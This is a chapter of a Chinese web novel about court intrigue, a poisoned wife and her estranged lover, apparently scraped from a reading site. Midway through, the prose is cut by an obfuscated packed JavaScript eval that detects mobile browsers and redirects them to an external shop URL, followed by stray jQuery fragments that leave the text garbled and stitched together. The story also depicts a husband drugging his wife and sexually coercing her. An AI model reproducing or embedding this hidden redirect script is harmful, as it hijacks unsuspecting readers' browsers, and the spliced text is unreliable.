50.抢回来

作品:《少惹将军

    原来当日她说她中了明珠投,是这个意思。


    自己竟疑上了别的,也是可笑了。


    陆沉耳根刹时红了。


    随即他眼中升起怒气,却无从发作,只将视线投向远处。


    顾流纨拨弄着盘上棋子,意态疏远。


    景宁饶有趣味地瞧着,这两人一站一坐,虽都没看对方,却像是刚大吵了一架似的。


    她故意上前,执起流纨的手腕,装模作样地把起脉来:“刚才沈掌院说你脉象沉迟,体内毒素未清;我怎么切不出来!”


    说着,她故意看向陆沉。


    陆沉长年在军营中,自学了些望闻问切的本事,寻常中毒的脉象,自是一切便知。


    陆沉果真上当,坐了下来,接过流纨的手腕,三指相扣。


    四周寂静,也不知道过了多久,顾流纨突然一声惊呼。


    景宁诧异地瞧过去,见陆沉猝然放手。流纨雪白的手腕上,却留下了三指红痕。


    陆沉极力克制自己怒气。


    “如何?”


    “确如沈掌院所说。”


    景宁心中更加诧异,这个沈掌院每次都说“好多了,好多了”,她还以为真的已清除七七八八了。


    这个糊涂庸医!


    “明珠投中有几味致幻之物,长期吸食,便于体内堆积;短时间内无法根除,以后远离此物,时日一久,亦可无药而解,可是如此?”


    陆沉冷笑一声,不置可否。


    景宁又道:“流纨你怎么会长期吸食那种东西,以后可千万不要再碰了。”


    流纨温顺地点了点头,陆沉却不放过她似的,几乎是狠狠地盯着她。


    这种下作伎俩一而再再而三,她还要忍受多久?难不成在宫中躲一辈子?


    顾流纨只觉得两道火辣辣的视线瞧着自己,不由自主低下头去,越来越低,像一只鸵鸟。


    倒像是她做错了什么一般。


    正在此事,内监来通传,说是卫国公来接人。


    齐粟几乎每日都来,景宁想尽办法打发,可一来齐粟势大,朝廷也要忌惮他三分;二来,顾流纨毕竟是他府里的人。


    景宁也不知是什么想法,淡声道:“哦,先把人请进来。”


    陆沉置若罔闻。


    齐粟被内监引至湖边,一眼便见到那晚救了顾流纨的陌生人。


    齐粟行了礼,随即视线停在陆沉身上,不客气地打量:“不知殿下正在待客,倒是下臣唐突了。”


    “无妨。反正这一位得了陛下的准许;出入宫禁来去自由,什么时候都可以来。倒是卫国公更加稀客。”


    齐粟一向厌恶景宁不着边际疯疯癫癫,更是恨她将顾流纨带上了歪路。当下也不欲多话,便合手揖道:“今日臣接回内子,望公主行个方便。”


    “你这话说的,本宫好心叫太医给她看病,到了你嘴里,怎么成了为难你?流纨你说说,你们家这位是不是有点不讲道理?”


    “是。”


    景宁见她一点面子也不给,不禁大乐:“你身上毒还未解,当真要跟他回去?沈掌院可说了,那玩意儿再碰不得了。”


    这话几乎是一巴掌打到齐粟脸上去了。


    流纨想起与齐粟不分日夜,似鬼非人的日子,心里一阵战栗,下意识就道:“求公主垂怜。”


    齐粟面色森寒:“顾流纨!”


    又放缓了语气:“你有什么,我如何不清楚?别再任性了。”


    景宁转向流纨道:“本宫自是愿意你留在宫中将养身体,可……”


    景宁后半句话,只有顾流纨能听得懂。


    她打的什么主意,她也知道。


    作为齐粟的枕边人,实在有太多的机会可以对付他了,虽然眼下两人的关系势同水火,齐粟会防着她。


    公主要她取得齐粟的信任,届时觅得良机,一击必杀。


    这需要她旷日持久地假装温柔,忍辱负重地蛰伏,等齐粟彻底放下防备,不成功便成仁。


    也有第二条路,是谓“釜底抽薪”。


    便是再次“勾搭”上陆沉,条件是陆沉永远忠于她景宁公主,与齐粟公然对抗。


    第一条路,顾流纨已然拒绝过她了,也确实强人所难了。


    这第二条路,却是大有可为。


    景宁不信她与陆沉“再无瓜葛”。


    流纨不知道陆沉这半年经历了什么,怎么回来的,他手上还有多少兵,给他的虎符有没有用;只知道景宁对他倚重非常。


    再回到人家身边,且不说齐粟那个疯子还挡在前面——自己也没脸呐!


    她已害陆沉多次,绝不可能再将他当作他人的棋子。


    且他既然带着面具回来,自是因为有所忌惮;齐粟要是知道他还活着,一定千方百计弄死他。


    景宁正要再说什么,顾流纨站起身来,小声道:“叨扰公主多日,流纨这便告辞了。”


    “你……耳朵根子怎么这么软?”


    景宁那个怒其不幸,哀其不争哦!


    陆沉本来一直看着湖水,此时听她这般,也回过头来,不可置信地看着她。


    流纨从他身边走过,没看他一眼。


    景宁急道:““沈掌院的话你没听进去?再用那东西,不死也要废了。”


    齐粟并不辩解,只是看着顾流纨。


    在他的逼视下,顾流纨违心道:“劳公主惦念,臣女不会再碰了。”


    齐粟伸出手,顾流纨便乖乖地将右手交了出去。


    待两人身影消失,景宁才叹道:“也是可怜。”


    陆沉始终不发一言,连景宁都有些不确定了:“你怎么看?”


    陆沉转身:“她自选的,与我有什么相关。”


    他也走了。


    景宁两头落空,不禁凝眉。


    借力打力,说得轻巧,谈何容易?


    流纨一入流烟阁内室,便忍不住一阵战栗。


    满屋子烟斜雾横,似是将明珠投当成了生火的银炭!


    齐粟缓缓摘了氅衣,又接着去解蹀躞带,慢条斯理道:“我同你说过,此物并不伤身,你为何不信我?若我只是想要你的身子,药物多的是。我的心思,你怎么就是不明白?”


    顾流纨每每中毒,都会莫名其妙浮现钦州的场景,那些场景越来越荒唐,她都分辨不清是真是假。


    他用这种法子逼她承认,她喜欢过他?


    齐粟只着中衣,将瑟瑟发抖的顾流纨拽入自己的怀里,坐在他腿上,任由炙热透过衣物邀请。


    流纨身体无力,胃里一阵强烈的不适,无力推拒道:“你少自欺欺人了。”


    齐粟双手松松揽着她,别处却在百般碾磨:“还嘴硬?一会儿莫要求我。”


    又道:“流纨,不必再强撑,每次都是你求我,你忘了?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950266|185655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “既然爱慕欲死,为何不能一心一意?


    “他……真的,比我叫你更快活?”


    ……


    梁元帝斜倚在龙榻上,见堂下陆沉缓缓撕去面具,不由得笑了。


    “你很有胆色,待罪之身偷天换日,还敢回颢京,求见朕!


    “这半年你在北境搅弄风云,暗中操练兵马,几次击退金人奇袭,虽未得朝廷诏令擅自行动,却的确是为我南朝立了功;不过……”


    梁元帝身前的案上,放着一物,边角已经有些焦了。


    此物,也惹得君王发笑。


    一块死人的牌位,证明他曾是顾氏之夫。


    “就为了一个女人?”


    “就拿此物跟朕要人?”


    陆沉直直地跪着,不卑不亢道:“罪臣怀疑金人齐粟与即将登基的金太子淮英勾结,葬送中原二十万……”


    “好了,好了,这话朕已听你说过一遍,毫无新意。你一而再再而三诬告良将,是何居心?”


    谁知陆沉不仅不见惶恐,反而反将天子一军:“陛下若完全不信我,又为何放任我执掌操练武威侯三万流民?任由景宁襄助我扩充兵力?景宁不过是深闺女子,若非陛下默许,哪里来的钱财,人脉?”


    梁元帝撑着下巴,静静地看着他,不承认,也不否认。


    “你便说说……齐粟与淮英怎样勾结的?”


    陆沉曾揭发过齐粟,但是当日局势不明,他以为齐粟假装战败后定会回到金朝夺储;谁知,齐粟竟选择了做南人。


    而毫无建树,本来地位岌岌可危的淮英却要登基了。


    这半年他潜入金国王廷,淮英之所以突然得到一边倒的支持,是因为他承诺,登基之后,他会向王朝奉上一份厚礼。


    这份厚礼是什么,是实物还是虚指……陆沉暂不知晓,但可以肯定的是,此物与南朝有关。


    “淮英虽是嫡出长子,却无能懦弱,从不敢上阵杀敌,与金人嗜血好争之性背道而驰;而在他之前,之后,屡立战功的兄弟可谓济济一堂;陛下,您不觉得奇怪,金国国主英明悍勇,怎么会把王位传给这样一个儿子?”


    “说下去。”


    “齐粟将金人驱逐北境之后,淮英在朝中的地位一日千里,已经叫人生疑。再有,当日齐粟与金国大将屠孤在凉州一役,金人号称损失十万兵力。凉州城小,又非门户,食之无味弃之可惜,什么人会用十万兵力死守凉州?而金人如今虽然退出北境,钦州,麒州等军事重镇,却是坚如磐石;孰轻孰重,齐粟难道分不清?”


    梁元帝沉默半晌:“你是说,北境的太平,不是齐粟打来的,而是一笔交易。”


    帝王的声音虽平和,却藏着雷霆之怒。


    “是。且这笔交易,可能才刚刚开始。”


    梁元帝站起身来,来回踱步。最后看向陆沉:“你先起来。”


    “你做的很好。”


    “臣是南朝人,本该如此。”


    帝王仍然试探,故作轻松道:“朕瞧你也是干大事的人,不至于见人家夫妻恩爱,便失了分寸,乱了手脚吧。”


    “齐粟狼子野心,不可不防,请陛下莫要迟疑。”


    他又抬起头,眼眸黑沉:“至于罪臣的家事,还求陛下秉公处理。”


    此事虽然荒唐,但对齐粟来说,未尝不是一种敲打。


    “好。朕便为了你,做一回恶人。”